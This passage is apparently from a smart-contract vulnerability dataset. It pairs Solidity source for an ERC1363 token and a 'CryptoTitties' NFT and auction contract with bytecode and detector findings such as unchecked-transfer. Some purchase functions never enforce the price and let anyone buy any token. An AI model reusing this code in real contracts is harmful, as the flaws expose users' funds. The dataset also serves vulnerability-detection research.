mapping(bytes4 => bool) private _supportedInterfaces;
constructor () {
_registerInterface(_INTERFACE_ID_ERC165);
}
function supportsInterface(bytes4 interfaceId) public view override returns (bool) {
return _supportedInterfaces[interfaceId];
}
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
contract ERC1363 is ERC20, IERC1363, ERC165 {
using Address for address;
bytes4 internal constant _INTERFACE_ID_ERC1363_TRANSFER = 0x4bbee2df;
bytes4 internal constant _INTERFACE_ID_ERC1363_APPROVE = 0xfb9ec8ce;
bytes4 private constant _ERC1363_RECEIVED = 0x88a7ca5c;
bytes4 private constant _ERC1363_APPROVED = 0x7b04a2d0;
constructor (string memory name, string memory symbol) ERC20(name, symbol) {
_registerInterface(_INTERFACE_ID_ERC1363_TRANSFER);
_registerInterface(_INTERFACE_ID_ERC1363_APPROVE);
}
function transferAndCall(address to, uint256 value) public override returns (bool) {
return transferAndCall(to, value, "");
}
function transferAndCall(address to, uint256 value, bytes memory data) public override returns (bool) {
transfer(to, value);
require(_checkAndCallTransfer(_msgSender(), to, value, data), "ERC1363: _checkAndCallTransfer reverts");
return true;
}
function transferFromAndCall(address from, address to, uint256 value) public override returns (bool) {
return transferFromAndCall(from, to, value, "");
}
function transferFromAndCall(address from, address to, uint256 value, bytes memory data) public override returns (bool) {
transferFrom(from, to, value);
require(_checkAndCallTransfer(from, to, value, data), "ERC1363: _checkAndCallTransfer reverts");
return true;
}
function approveAndCall(address spender, uint256 value) public override returns (bool) {
return approveAndCall(spender, value, "");
}
function approveAndCall(address spender, uint256 value, bytes memory data) public override returns (bool) {
approve(spender, value);
require(_checkAndCallApprove(spender, value, data), "ERC1363: _checkAndCallApprove reverts");
return true;
}
function _checkAndCallTransfer(address from, address to, uint256 value, bytes memory data) internal returns (bool) {
if (!to.isContract()) {
return false;
}
bytes4 retval = IERC1363Receiver(to).onTransferReceived(
_msgSender(), from, value, data
);
return (retval == _ERC1363_RECEIVED);
}
function _checkAndCallApprove(address spender, uint256 value, bytes memory data) internal returns (bool) {
if (!spender.isContract()) {
return false;
}
bytes4 retval = IERC1363Spender(spender).onApprovalReceived(
_msgSender(), value, data
);
return (retval == _ERC1363_APPROVED);
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract TokenRecover is Ownable {
function recoverERC20(address tokenAddress, uint256 tokenAmount) public onlyOwner {
IERC20(tokenAddress).transfer(owner(), tokenAmount);
}
}
contract cryptokenup is ERC20Capped, ERC20Burnable, ERC1363, TokenRecover {
bool private _mintingFinished = false;
event MintFinished();
modifier canMint() {
require(!_mintingFinished, "cryptokenup: minting is finished");
_;
}
constructor (
string memory name,
string memory symbol,
uint8 decimals,
uint256 cap,
uint256 initialBalance
) ERC1363(name, symbol) ERC20Capped(cap) payable {
_setupDecimals(decimals);
_mint(_msgSender(), initialBalance);
}
function mintingFinished() public view returns (bool) {
return _mintingFinished;
}
function mint(address to, uint256 value) public canMint onlyOwner {
_mint(to, value);
}
function finishMinting() public canMint onlyOwner {
_mintingFinished = true;
emit MintFinished();
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override(ERC20, ERC20Capped) {
super._beforeTokenTransfer(from, to, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106101c45760003560e01c806370a08231116100f9578063a457c2d711610097578063cae9ca5111610071578063cae9ca511461068d578063d8fbe99414610748578063dd62ed3e1461077e578063f2fde38b146107ac576101c4565b8063a457c2d71461056f578063a9059cbb1461059b578063c1d34b89146105c7576101c4565b80637d64bcb4116100d35780637d64bcb41461050f5780638980f11f146105175780638da5cb5b1461054357806395d89b4114610567576101c4565b806370a08231146104b5578063715018a6146104db57806379cc6790146104e3576101c4565b8063313ce56711610166578063395093511161014057806339509351146103835780634000aea0146103af57806340c10f191461046a57806342966c6814610498576101c4565b8063313ce567146103315780633177029f1461034f578063355274ea1461037b576101c4565b8063095ea7b3116101a2578063095ea7b3146102895780631296ee62146102b557806318160ddd146102e157806323b872dd146102fb576101c4565b806301ffc9a7146101c957806305d2035b1461020457806306fdde031461020c575b600080fd5b6101f0600480360360208110156101df57600080fd5b50356001600160e01b0319166107d2565b604080519115158252519081900360200190f35b6101f06107f1565b610214610801565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561024e578181015183820152602001610236565b50505050905090810190601f16801561027b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101f06004803603604081101561029f57600080fd5b506001600160a01b038135169060200135610897565b6101f0600480360360408110156102cb57600080fd5b506001600160a01b0381351690602001356108b4565b6102e96108d7565b60408051918252519081900360200190f35b6101f06004803603606081101561031157600080fd5b506001600160a01b038135811691602081013590911690604001356108dd565b610339610964565b6040805160ff9092168252519081900360200190f35b6101f06004803603604081101561036557600080fd5b506001600160a01b03813516906020013561096d565b6102e9610989565b6101f06004803603604081101561039957600080fd5b506001600160a01b03813516906020013561098f565b6101f0600480360360608110156103c557600080fd5b6001600160a01b03823516916020810135918101906060810160408201356401000000008111156103f557600080fd5b82018360208201111561040757600080fd5b8035906020019184600183028401116401000000008311171561042957600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506109dd945050505050565b6104966004803603604081101561048057600080fd5b506001600160a01b038135169060200135610a38565b005b610496600480360360208110156104ae57600080fd5b5035610afd565b6102e9600480360360208110156104cb57600080fd5b50356001600160a01b0316610b11565b610496610b2c565b610496600480360360408110156104f957600080fd5b506001600160a01b038135169060200135610bce565b610496610c28565b6104966004803603604081101561052d57600080fd5b506001600160a01b038135169060200135610d1d565b61054b610e03565b604080516001600160a01b039092168252519081900360200190f35b610214610e12565b6101f06004803603604081101561058557600080fd5b506001600160a01b038135169060200135610e73565b6101f0600480360360408110156105b157600080fd5b506001600160a01b038135169060200135610edb565b6101f0600480360360808110156105dd57600080fd5b6001600160a01b0382358116926020810135909116916040820135919081019060808101606082013564010000000081111561061857600080fd5b82018360208201111561062a57600080fd5b8035906020019184600183028401116401000000008311171561064c57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610eef945050505050565b6101f0600480360360608110156106a357600080fd5b6001600160a01b03823516916020810135918101906060810160408201356401000000008111156106d357600080fd5b8201836020820111156106e557600080fd5b8035906020019184600183028401116401000000008311171561070757600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610f50945050505050565b6101f06004803603606081101561075e57600080fd5b506001600160a01b03813581169160208101359091169060400135610fa3565b6102e96004803603604081101561079457600080fd5b506001600160a01b0381358116916020013516610fc0565b610496600480360360208110156107c257600080fd5b50356001600160a01b0316610feb565b6001600160e01b03191660009081526007602052604090205460ff1690565b600854600160a01b900460ff1690565b60038054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561088d5780601f106108625761010080835404028352916020019161088d565b820191906000526020600020905b81548152906001019060200180831161087057829003601f168201915b5050505050905090565b60006108ab6108a46111bf565b84846111c3565b50600192915050565b60006108d08383604051806020016040528060008152506109dd565b9392505050565b60025490565b60006108ea8484846112af565b61095a846108f66111bf565b61095585604051806060016040528060288152602001611a8a602891396001600160a01b038a166000908152600160205260408120906109346111bf565b6001600160a01b03168152602081019190915260400160002054919061140a565b6111c3565b5060019392505050565b60055460ff1690565b60006108d0838360405180602001604052806000815250610f50565b60065490565b60006108ab61099c6111bf565b8461095585600160006109ad6111bf565b6001600160a01b03908116825260208083019390935260409182016000908120918c1681529252902054906110e4565b60006109e98484610edb565b506109fd6109f56111bf565b8585856114a1565b61095a5760405162461bcd60e51b8152600401808060200182810382526026815260200180611a646026913960400191505060405180910390fd5b600854600160a01b900460ff1615610a97576040805162461bcd60e51b815260206004820181905260248201527f63727970746f6b656e75703a206d696e74696e672069732066696e6973686564604482015290519081900360640190fd5b610a9f6111bf565b6008546001600160a01b03908116911614610aef576040805162461bcd60e51b81526020600482018190526024820152600080516020611ab2833981519152604482015290519081900360640190fd5b610af982826115e6565b5050565b610b0e610b086111bf565b826116d6565b50565b6001600160a01b031660009081526020819052604090205490565b610b346111bf565b6008546001600160a01b03908116911614610b84576040805162461bcd60e51b81526020600482018190526024820152600080516020611ab2833981519152604482015290519081900360640190fd5b6008546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600880546001600160a01b0319169055565b6000610c0582604051806060016040528060248152602001611ad260249139610bfe86610bf96111bf565b610fc0565b919061140a565b9050610c1983610c136111bf565b836111c3565b610c2383836116d6565b505050565b600854600160a01b900460ff1615610c87576040805162461bcd60e51b815260206004820181905260248201527f63727970746f6b656e75703a206d696e74696e672069732066696e6973686564604482015290519081900360640190fd5b610c8f6111bf565b6008546001600160a01b03908116911614610cdf576040805162461bcd60e51b81526020600482018190526024820152600080516020611ab2833981519152604482015290519081900360640190fd5b6008805460ff60a01b1916600160a01b1790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a1565b610d256111bf565b6008546001600160a01b03908116911614610d75576040805162461bcd60e51b81526020600482018190526024820152600080516020611ab2833981519152604482015290519081900360640190fd5b816001600160a01b031663a9059cbb610d8c610e03565b836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610dd357600080fd5b505af1158015610de7573d6000803e3d6000fd5b505050506040513d6020811015610dfd57600080fd5b50505050565b6008546001600160a01b031690565b60048054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561088d5780601f106108625761010080835404028352916020019161088d565b60006108ab610e806111bf565b8461095585604051806060016040528060258152602001611b606025913960016000610eaa6111bf565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919061140a565b60006108ab610ee86111bf565b84846112af565b6000610efc8585856108dd565b50610f09858585856114a1565b610f445760405162461bcd60e51b8152600401808060200182810382526026815260200180611a646026913960400191505060405180910390fd5b5060015b949350505050565b6000610f5c8484610897565b50610f688484846117d2565b61095a5760405162461bcd60e51b8152600401808060200182810382526025815260200180611a196025913960400191505060405180910390fd5b6000610f4884848460405180602001604052806000815250610eef565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610ff36111bf565b6008546001600160a01b03908116911614611043576040805162461bcd60e51b81526020600482018190526024820152600080516020611ab2833981519152604482015290519081900360640190fd5b6001600160a01b0381166110885760405162461bcd60e51b81526004018080602001828103825260268152602001806119d16026913960400191505060405180910390fd5b6008546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600880546001600160a01b0319166001600160a01b0392909216919091179055565b6000828201838110156108d0576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b611149838383610c23565b6001600160a01b038316610c235760065461116c826111666108d7565b906110e4565b1115610c23576040805162461bcd60e51b815260206004820152601960248201527f45524332304361707065643a2063617020657863656564656400000000000000604482015290519081900360640190fd5b3390565b6001600160a01b0383166112085760405162461bcd60e51b8152600401808060200182810382526024815260200180611b3c6024913960400191505060405180910390fd5b6001600160a01b03821661124d5760405162461bcd60e51b81526004018080602001828103825260228152602001806119f76022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166112f45760405162461bcd60e51b8152600401808060200182810382526025815260200180611b176025913960400191505060405180910390fd5b6001600160a01b0382166113395760405162461bcd60e51b815260040180806020018281038252602381526020018061198c6023913960400191505060405180910390fd5b611344838383611905565b61138181604051806060016040528060268152602001611a3e602691396001600160a01b038616600090815260208190526040902054919061140a565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546113b090826110e4565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156114995760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561145e578181015183820152602001611446565b50505050905090810190601f16801561148b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60006114b5846001600160a01b0316611910565b6114c157506000610f48565b6000846001600160a01b03166388a7ca5c6114da6111bf565b8887876040518563ffffffff1660e01b815260040180856001600160a01b03168152602001846001600160a01b0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561154d578181015183820152602001611535565b50505050905090810190601f16801561157a5780820380516001836020036101000a031916815260200191505b5095505050505050602060405180830381600087803b15801561159c57600080fd5b505af11580156115b0573d6000803e3d6000fd5b505050506040513d60208110156115c657600080fd5b50516001600160e01b031916632229f29760e21b14915050949350505050565b6001600160a01b038216611641576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b61164d60008383611905565b60025461165a90826110e4565b6002556001600160a01b03821660009081526020819052604090205461168090826110e4565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6001600160a01b03821661171b5760405162461bcd60e51b8152600401808060200182810382526021815260200180611af66021913960400191505060405180910390fd5b61172782600083611905565b611764816040518060600160405280602281526020016119af602291396001600160a01b038516600090815260208190526040902054919061140a565b6001600160a01b03831660009081526020819052604090205560025461178a9082611949565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b60006117e6846001600160a01b0316611910565b6117f2575060006108d0565b6000846001600160a01b0316637b04a2d061180b6111bf565b86866040518463ffffffff1660e01b815260040180846001600160a01b0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561186e578181015183820152602001611856565b50505050905090810190601f16801561189b5780820380516001836020036101000a031916815260200191505b50945050505050602060405180830381600087803b1580156118bc57600080fd5b505af11580156118d0573d6000803e3d6000fd5b505050506040513d60208110156118e657600080fd5b50516001600160e01b0319166307b04a2d60e41b149150509392505050565b610c2383838361113e565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470818114801590610f48575050151592915050565b60006108d083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061140a56fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373455243313336333a205f636865636b416e6443616c6c417070726f7665207265766572747345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365455243313336333a205f636865636b416e6443616c6c5472616e73666572207265766572747345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212207364cf6a837bf8ee8ef61392d65a09b48e9d0e898d9e170f84b95e6c2eb3d49964736f6c63430007060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 9,666 |
0xa0acc9fe716c39a68dafb8f10c75b1276b08a17c | pragma solidity ^0.4.18;
contract TittyBase {
event Transfer(address indexed from, address indexed to);
event Creation(address indexed from, uint256 tittyId, uint256 wpId);
event AddAccessory(uint256 tittyId, uint256 accessoryId);
struct Accessory {
uint256 id;
string name;
uint256 price;
bool isActive;
}
struct Titty {
uint256 id;
string name;
string gender;
uint256 originalPrice;
uint256 salePrice;
uint256[] accessories;
bool forSale;
}
//Storage
Titty[] Titties;
Accessory[] Accessories;
mapping (uint256 => address) public tittyIndexToOwner;
mapping (address => uint256) public ownerTittiesCount;
mapping (uint256 => address) public tittyApproveIndex;
function _transfer(address _from, address _to, uint256 _tittyId) internal {
ownerTittiesCount[_to]++;
tittyIndexToOwner[_tittyId] = _to;
if (_from != address(0)) {
ownerTittiesCount[_from]--;
delete tittyApproveIndex[_tittyId];
}
Transfer(_from, _to);
}
function _changeTittyPrice (uint256 _newPrice, uint256 _tittyId) internal {
require(tittyIndexToOwner[_tittyId] == msg.sender);
Titty storage _titty = Titties[_tittyId];
_titty.salePrice = _newPrice;
Titties[_tittyId] = _titty;
}
function _setTittyForSale (bool _forSale, uint256 _tittyId) internal {
require(tittyIndexToOwner[_tittyId] == msg.sender);
Titty storage _titty = Titties[_tittyId];
_titty.forSale = _forSale;
Titties[_tittyId] = _titty;
}
function _changeName (string _name, uint256 _tittyId) internal {
require(tittyIndexToOwner[_tittyId] == msg.sender);
Titty storage _titty = Titties[_tittyId];
_titty.name = _name;
Titties[_tittyId] = _titty;
}
function addAccessory (uint256 _id, string _name, uint256 _price, uint256 tittyId ) internal returns (uint) {
Accessory memory _accessory = Accessory({
id: _id,
name: _name,
price: _price,
isActive: true
});
Titty storage titty = Titties[tittyId];
uint256 newAccessoryId = Accessories.push(_accessory) - 1;
titty.accessories.push(newAccessoryId);
AddAccessory(tittyId, newAccessoryId);
return newAccessoryId;
}
function totalAccessories(uint256 _tittyId) public view returns (uint256) {
Titty storage titty = Titties[_tittyId];
return titty.accessories.length;
}
function getAccessory(uint256 _tittyId, uint256 _aId) public view returns (uint256 id, string name, uint256 price, bool active) {
Titty storage titty = Titties[_tittyId];
uint256 accId = titty.accessories[_aId];
Accessory storage accessory = Accessories[accId];
id = accessory.id;
name = accessory.name;
price = accessory.price;
active = accessory.isActive;
}
function createTitty (uint256 _id, string _gender, uint256 _price, address _owner, string _name) internal returns (uint) {
Titty memory _titty = Titty({
id: _id,
name: _name,
gender: _gender,
originalPrice: _price,
salePrice: _price,
accessories: new uint256[](0),
forSale: false
});
uint256 newTittyId = Titties.push(_titty) - 1;
Creation(
_owner,
newTittyId,
_id
);
_transfer(0, _owner, newTittyId);
return newTittyId;
}
}
/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
/// @author Dieter Shirley <dete@axiomzen.co> (https://github.com/dete)
contract ERC721 {
function implementsERC721() public pure returns (bool);
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) public view returns (address owner);
function approve(address _to, uint256 _tokenId) public;
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function transfer(address _to, uint256 _tokenId) public;
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
// Optional
// function name() public view returns (string name);
// function symbol() public view returns (string symbol);
// function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256 tokenId);
// function tokenMetadata(uint256 _tokenId) public view returns (string infoUrl);
}
contract TittyOwnership is TittyBase, ERC721 {
string public name = "CryptoTittes";
string public symbol = "CT";
function implementsERC721() public pure returns (bool) {
return true;
}
function _isOwner(address _user, uint256 _tittyId) internal view returns (bool) {
return tittyIndexToOwner[_tittyId] == _user;
}
function _approve(uint256 _tittyId, address _approved) internal {
tittyApproveIndex[_tittyId] = _approved;
}
function _approveFor(address _user, uint256 _tittyId) internal view returns (bool) {
return tittyApproveIndex[_tittyId] == _user;
}
function totalSupply() public view returns (uint256 total) {
return Titties.length - 1;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return ownerTittiesCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address owner) {
owner = tittyIndexToOwner[_tokenId];
require(owner != address(0));
}
function approve(address _to, uint256 _tokenId) public {
require(_isOwner(msg.sender, _tokenId));
_approve(_tokenId, _to);
Approval(msg.sender, _to, _tokenId);
}
function transferFrom(address _from, address _to, uint256 _tokenId) public {
require(_approveFor(msg.sender, _tokenId));
require(_isOwner(_from, _tokenId));
_transfer(_from, _to, _tokenId);
}
function transfer(address _to, uint256 _tokenId) public {
require(_to != address(0));
require(_isOwner(msg.sender, _tokenId));
_transfer(msg.sender, _to, _tokenId);
}
}
contract TittyPurchase is TittyOwnership {
address private wallet;
address private boat;
function TittyPurchase(address _wallet, address _boat) public {
wallet = _wallet;
boat = _boat;
createTitty(0, "unissex", 1000000000, address(0), "genesis");
}
function purchaseNew(uint256 _id, string _name, string _gender, uint256 _price) public payable {
if (msg.value == 0 && msg.value != _price)
revert();
uint256 boatFee = calculateBoatFee(msg.value);
createTitty(_id, _gender, _price, msg.sender, _name);
wallet.transfer(msg.value - boatFee);
boat.transfer(boatFee);
}
function purchaseExistent(uint256 _tittyId) public payable {
Titty storage titty = Titties[_tittyId];
uint256 fee = calculateFee(titty.salePrice);
if (msg.value == 0 && msg.value != titty.salePrice)
revert();
uint256 val = msg.value - fee;
address owner = tittyIndexToOwner[_tittyId];
_approve(_tittyId, msg.sender);
transferFrom(owner, msg.sender, _tittyId);
owner.transfer(val);
wallet.transfer(fee);
}
function purchaseAccessory(uint256 _tittyId, uint256 _accId, string _name, uint256 _price) public payable {
if (msg.value == 0 && msg.value != _price)
revert();
wallet.transfer(msg.value);
addAccessory(_accId, _name, _price, _tittyId);
}
function getAmountOfTitties() public view returns(uint) {
return Titties.length;
}
function getLatestId() public view returns (uint) {
return Titties.length - 1;
}
function getTittyByWpId(address _owner, uint256 _wpId) public view returns (bool own, uint256 tittyId) {
for (uint256 i = 1; i<=totalSupply(); i++) {
Titty storage titty = Titties[i];
bool isOwner = _isOwner(_owner, i);
if (titty.id == _wpId && isOwner) {
return (true, i);
}
}
return (false, 0);
}
function belongsTo(address _account, uint256 _tittyId) public view returns (bool) {
return _isOwner(_account, _tittyId);
}
function changePrice(uint256 _price, uint256 _tittyId) public {
_changeTittyPrice(_price, _tittyId);
}
function changeName(string _name, uint256 _tittyId) public {
_changeName(_name, _tittyId);
}
function makeItSellable(uint256 _tittyId) public {
_setTittyForSale(true, _tittyId);
}
function calculateFee (uint256 _price) internal pure returns(uint) {
return (_price * 10)/100;
}
function calculateBoatFee (uint256 _price) internal pure returns(uint) {
return (_price * 25)/100;
}
function() external {}
function getATitty(uint256 _tittyId)
public
view
returns (
uint256 id,
string name,
string gender,
uint256 originalPrice,
uint256 salePrice,
bool forSale
) {
Titty storage titty = Titties[_tittyId];
id = titty.id;
name = titty.name;
gender = titty.gender;
originalPrice = titty.originalPrice;
salePrice = titty.salePrice;
forSale = titty.forSale;
}
}
contract CTAuction {
struct Auction {
// Parameters of the auction. Times are either
// absolute unix timestamps (seconds since 1970-01-01)
// or time periods in seconds.
uint auctionEnd;
// Current state of the auction.
address highestBidder;
uint highestBid;
//Minumin Bid Set by the beneficiary
uint minimumBid;
// Set to true at the end, disallows any change
bool ended;
//Titty being Auctioned
uint titty;
//Beneficiary
address beneficiary;
//buynow price
uint buyNowPrice;
}
Auction[] Auctions;
address public owner;
address public ctWallet;
address public tittyContractAddress;
// Allowed withdrawals of previous bids
mapping(address => uint) pendingReturns;
// CriptoTitty Contract
TittyPurchase public tittyContract;
// Events that will be fired on changes.
event HighestBidIncreased(uint auction, address bidder, uint amount);
event AuctionEnded(address winner, uint amount);
event BuyNow(address buyer, uint amount);
event AuctionCancel(uint auction);
event NewAuctionCreated(uint auctionId, uint titty);
event DidNotFinishYet(uint time, uint auctionTime);
event NotTheContractOwner(address owner, address sender);
// The following is a so-called natspec comment,
// recognizable by the three slashes.
// It will be shown when the user is asked to
// confirm a transaction.
/// Create a simple auction with `_biddingTime`
/// seconds bidding time on behalf of the
/// beneficiary address `_beneficiary`.
function CTAuction(
address _tittyPurchaseAddress,
address _wallet
) public
{
tittyContractAddress = _tittyPurchaseAddress;
tittyContract = TittyPurchase(_tittyPurchaseAddress);
ctWallet = _wallet;
owner = msg.sender;
}
function createAuction(uint _biddingTime, uint _titty, uint _minimumBid, uint _buyNowPrice) public {
address ownerAddress = tittyContract.ownerOf(_titty);
require(msg.sender == ownerAddress);
Auction memory auction = Auction({
auctionEnd: now + _biddingTime,
titty: _titty,
beneficiary: msg.sender,
highestBidder: 0,
highestBid: 0,
ended: false,
minimumBid: _minimumBid,
buyNowPrice: _buyNowPrice
});
uint auctionId = Auctions.push(auction) - 1;
NewAuctionCreated(auctionId, _titty);
}
function getTittyOwner(uint _titty) public view returns (address) {
address ownerAddress = tittyContract.ownerOf(_titty);
return ownerAddress;
}
/// Bid on an auction with the value sent
/// together with this transaction.
/// The value will only be refunded if the
/// auction is not won.
function bid(uint _auction) public payable {
Auction memory auction = Auctions[_auction];
// Revert the call if the bidding
// period is over.
require(now <= auction.auctionEnd);
// Revert the call value is less than the minimumBid.
require(msg.value >= auction.minimumBid);
// If the bid is not higher, send the
// money back.
require(msg.value > auction.highestBid);
if (auction.highestBid != 0) {
// Sending back the money by simply using
// highestBidder.send(highestBid) is a security risk
// because it could execute an untrusted contract.
// It is always safer to let the recipients
// withdraw their money themselves.
pendingReturns[auction.highestBidder] += auction.highestBid;
}
auction.highestBidder = msg.sender;
auction.highestBid = msg.value;
Auctions[_auction] = auction;
HighestBidIncreased(_auction, msg.sender, msg.value);
}
function buyNow(uint _auction) public payable {
Auction memory auction = Auctions[_auction];
require(now >= auction.auctionEnd); // auction has ended
require(!auction.ended); // this function has already been called
//Require that the value sent is the buyNowPrice Set by the Owner/Benneficary
require(msg.value == auction.buyNowPrice);
//Require that there are no bids
require(auction.highestBid == 0);
// End Auction
auction.ended = true;
Auctions[_auction] = auction;
BuyNow(msg.sender, msg.value);
// Send the Funds
tittyContract.transferFrom(auction.beneficiary, msg.sender, auction.titty);
uint fee = calculateFee(msg.value);
ctWallet.transfer(fee);
auction.beneficiary.transfer(msg.value-fee);
}
/// Withdraw a bid that was overbid.
function withdraw() public returns (bool) {
uint amount = pendingReturns[msg.sender];
require(amount > 0);
// It is important to set this to zero because the recipient
// can call this function again as part of the receiving call
// before `send` returns.
pendingReturns[msg.sender] = 0;
if (!msg.sender.send(amount)) {
// No need to call throw here, just reset the amount owing
pendingReturns[msg.sender] = amount;
return false;
}
return true;
}
function auctionCancel(uint _auction) public {
Auction memory auction = Auctions[_auction];
//has to be the beneficiary
require(msg.sender == auction.beneficiary);
//Auction Ended
require(now >= auction.auctionEnd);
//has no maxbid
require(auction.highestBid == 0);
auction.ended = true;
Auctions[_auction] = auction;
AuctionCancel(_auction);
}
/// End the auction and send the highest bid
/// to the beneficiary and 10% to CT.
function auctionEnd(uint _auction) public {
// Just cryptotitties CEO can end the auction
require (owner == msg.sender);
Auction memory auction = Auctions[_auction];
require (now >= auction.auctionEnd); // auction has ended
require(!auction.ended); // this function has already been called
// End Auction
auction.ended = true;
Auctions[_auction] = auction;
AuctionEnded(auction.highestBidder, auction.highestBid);
if (auction.highestBid != 0) {
// Send the Funds
tittyContract.transferFrom(auction.beneficiary, auction.highestBidder, auction.titty);
uint fee = calculateFee(auction.highestBid);
ctWallet.transfer(fee);
auction.beneficiary.transfer(auction.highestBid-fee);
}
}
function getAuctionInfo(uint _auction) public view returns (uint end, address beneficiary, uint maxBid, address maxBidder) {
Auction storage auction = Auctions[_auction];
end = auction.auctionEnd;
beneficiary = auction.beneficiary;
maxBid = auction.highestBid;
maxBidder = auction.highestBidder;
}
function calculateFee (uint256 _price) internal pure returns(uint) {
return (_price * 10)/100;
}
} | 0x6060604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806308a0f32f146100bf578063234e5273146100d757806332246e9f1461012c5780633af826a41461014f5780633ccfd60b14610172578063431f21da1461019f578063454a2ab3146101dd578063824f0f7e146101f55780638da5cb5b1461024a578063a564871f1461029f578063ad0d3713146102f4578063fc3fc4ed14610357575b600080fd5b6100d560048080359060200190919050506103fb565b005b34156100e257600080fd5b6100ea6108b7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561013757600080fd5b61014d60048080359060200190919050506108dd565b005b341561015a57600080fd5b6101706004808035906020019091905050610df4565b005b341561017d57600080fd5b6101856110d2565b604051808215151515815260200191505060405180910390f35b34156101aa57600080fd5b6101db60048080359060200190919080359060200190919080359060200190919080359060200190919050506111fc565b005b6101f360048080359060200190919050506114b4565b005b341561020057600080fd5b610208611837565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561025557600080fd5b61025d61185d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156102aa57600080fd5b6102b2611883565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156102ff57600080fd5b61031560048080359060200190919050506118a9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561036257600080fd5b61037860048080359060200190919